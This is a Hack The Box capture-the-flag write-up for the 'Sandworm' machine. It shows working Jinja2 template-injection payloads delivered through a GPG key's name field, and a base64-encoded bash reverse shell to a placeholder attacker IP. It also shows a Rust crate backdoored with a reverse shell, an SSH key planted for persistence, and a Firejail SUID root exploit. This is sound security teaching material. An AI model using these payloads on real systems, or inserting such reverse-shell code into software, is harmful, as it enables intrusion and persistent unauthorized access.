Back to blog
← Back to posts

HTB: Sandworm


Sandworm chains multiple techniques to reach root: Server-Side Template Injection injected through a GPG key's name field (Jinja2), lateral movement via hardcoded credentials found in an HTTPie session file, privilege escalation through a writable Rust crate recompiled by a cron job, and finally a Firejail SUID exploit for root.
Foothold (SSTI/GPG) atlas silentobserver atlas (SSH) root

Reconnaissance

Nmap

Full port scan followed by service enumeration:

nmap
SP1R4@kali)-[~] └$ nmap -sC -sV -p- --min-rate 5000 -oN sandworm.nmap <TARGET_IP> PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to https://ssa.htb/ 443/tcp open ssl/http nginx 1.18.0 (Ubuntu) | ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency | emailAddress=atlas@ssa.htb
PortServiceNotes
22SSHOpenSSH 8.9p1 Ubuntu
80HTTPnginx — redirects to HTTPS
443HTTPSnginx — ssa.htb
/etc/hosts
SP1R4@kali)-[~] └$ echo "<TARGET_IP> ssa.htb" | sudo tee -a /etc/hosts

Web Enumeration

Visiting https://ssa.htb loads a Secret Spy Agency website. Nothing exploitable on the surface. Run directory enumeration:

gobuster
SP1R4@kali)-[~] └$ gobuster dir -u https://ssa.htb/ -w /usr/share/dirb/wordlists/common.txt -k /about (Status: 200) /admin (Status: 302) [--> /login?next=%2Fadmin] /contact (Status: 200) /guide (Status: 200) <-- interesting /login (Status: 200) /pgp (Status: 200) /process (Status: 405)
/guide exposes a PGP signature verification form with two fields: Public Key and Signed Text. The key's Real Name field is reflected back in the verification result — a classic injection surface.

Exploitation — SSTI via GPG

Confirming the injection point

Generate a GPG key using a Jinja2 arithmetic expression as the Real Name field. If the template engine evaluates it, we have SSTI.

gpg — test key with SSTI payload
SP1R4@kali)-[~] └$ gpg --gen-key Real name: {{7*7}} Email address: test@test.com pub rsa3072 2023-07-03 [SC] 88E980212F2E97F5121B32FED8045E508EF2F016 uid {{7*7}} <test@test.com> # Export & sign a test message SP1R4@kali)-[~] └$ gpg --armor --export test@test.com > public_key.asc SP1R4@kali)-[~] └$ echo "Test" > message.txt && gpg --clear-sign --output signed.asc message.txt
Guide form with public key and signed text filled in Public key block

Submit both to the /guide verification form. The result shows 49 as the signer identity — Jinja2 SSTI confirmed.

Signature verification result showing 49
GOODSIG — Good signature from "49" [unknown] — {{7*7}} was evaluated server-side.

Remote code execution

Delete the test key, regenerate with an RCE payload in the name field:

gpg — RCE payload
SP1R4@kali)-[~] └$ gpg --delete-secret-keys test@test.com && gpg --delete-keys test@test.com # New key — name field is our payload SP1R4@kali)-[~] └$ gpg --gen-key Real name: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} Signature verification showing atlas uid # Verification result: uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)

Reverse shell — base64 bypass

Direct shell payloads fail because GPG rejects < and > in the name field. Base64-encode the payload to bypass:

reverse shell via base64
# Encode the shell command SP1R4@kali)-[~] └$ echo "bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'" | base64 YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOS80NDQ0IDA+JjEnCg== cat signed_message.asc # GPG key name field: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAt..." | base64 -d | bash').read() }} # Listener SP1R4@kali)-[~] └$ nc -lvnp 4444 Ncat: Listening on 0.0.0.0:4444 ... connect to [10.10.14.19] from (UNKNOWN) [10.10.11.218] 52546 bash: no job control in this shell SP1R4@kali)-[~] └$
Shell obtained as atlas.

Lateral Movement — atlas → silentobserver

Credential discovery

Poking around atlas's home directory, the .config folder contains an HTTPie session file with stored credentials:

atlas — hunting for creds
SP1R4@kali)-[~] Atlas home directory listing └$ cat ~/.config/httpie/sessions/localhost_5000/admin.json { "auth": { "password": "quietLiketheWind22", "type": null, "username": "silentobserver" } }

SSH as silentobserver

ssh — silentobserver
SP1R4@kali)-[~] └$ ssh silentobserver@ssa.htb silentobserver@ssa.htb's password: quietLiketheWind22 Welcome to Ubuntu 22.04.2 LTS SP1R4@kali)-[~] └$ cat user.txt 3c97f86************************
🚩 User flag captured.

PrivEsc — silentobserver → atlas (stable shell)

Process enumeration with pspy

Running pspy64 reveals a recurring cron job compiling and executing /opt/tipnet — a Rust binary.

pspy64
SP1R4@kali)-[~] └$ ./pspy64 CMD: UID=1000 | cargo run --release -- /opt/tipnet/src/main.rs CMD: UID=1000 | /opt/tipnet/target/release/tipnet
/opt/tipnet directory listing

Writable Rust crate

tipnet.d shows the binary imports a local logger crate. Checking its permissions:

finding the writable crate
SP1R4@kali)-[~/opt/tipnet/target/debug] └$ cat tipnet.d /opt/crates/logger/src/lib.rs /opt/tipnet/src/main.rs tipnet debug folder SP1R4@kali)-[~] └$ ls -l /opt/crates/logger/src/lib.rs -rw-rw-r-- 1 atlas silentobserver 732 May 4 17:12 lib.rs

silentobserver has write access. Inject a reverse shell into lib.rs:

lib.rs — malicious Rust payload
// /opt/crates/logger/src/lib.rs use std::process::Command; pub fn log(user: &str, query: &str, justification: &str) { let output = Command::new("bash") .arg("-c") .arg("bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1") .output() .expect("failed to execute process"); }

Wait for the cron job to recompile tipnet. Shell fires back:

Second atlas reverse shell via tipnet

Plant an SSH key for persistence:

atlas — SSH persistence
SP1R4@kali)-[~] └$ echo "<YOUR_PUBLIC_KEY>" >> ~/.ssh/authorized_keys SP1R4@kali)-[~] └$ ssh -i id_rsa atlas@ssa.htb SP1R4@kali)-[~] └$
Stable SSH session as atlas

Privilege Escalation — Root via Firejail

Discovery

Running linpeas.sh surfaces a non-standard SUID binary:

linpeas — SUID
SP1R4@kali)-[~] └$ ./linpeas.sh | grep -i firejail -rwsr-x--- 1 root jailer 1777952 Nov 29 2022 /usr/local/bin/firejail

firejail has the SUID bit set and is exploitable via a known local privilege escalation. Transfer the exploit and run it — it requires a two-terminal approach:

firejail exploit — two terminals
# Terminal 1 — run the exploit SP1R4@kali)-[~] └$ chmod +x exploit.py && python3 exploit.py You can now run 'firejail --join=24654' in another terminal where 'su -' should grant you a root shell. # Terminal 2 — join the firejail session SP1R4@kali)-[~] └$ firejail --join=24654 changing root to /proc/24654/root Child process initialized in 9.92 ms SP1R4@kali)-[~] └$ su - root@sandworm:~# cat /root/root.txt d5be56ad************************
exploit.py output with session number Root shell and root flag
🚩 Root flag captured. Machine pwned.

Summary

StageTechniqueTool
FootholdSSTI via GPG name field (Jinja2)gpg
ShellBase64-encoded reverse shellbash, nc
Lateral moveHardcoded creds in HTTPie sessionssh
Shell upgradeMalicious Rust crate injected via cronnano
RootFirejail SUID local privilege escalationpython3

Key commands

quick reference
# GPG key workflow gpg --gen-key # Real name: <SSTI_PAYLOAD> gpg --armor --export <email> > pub.asc gpg --clear-sign --output signed.asc msg.txt gpg --delete-secret-keys <email> gpg --delete-keys <email> # Firejail privesc python3 exploit.py # note the session number firejail --join=<number> su -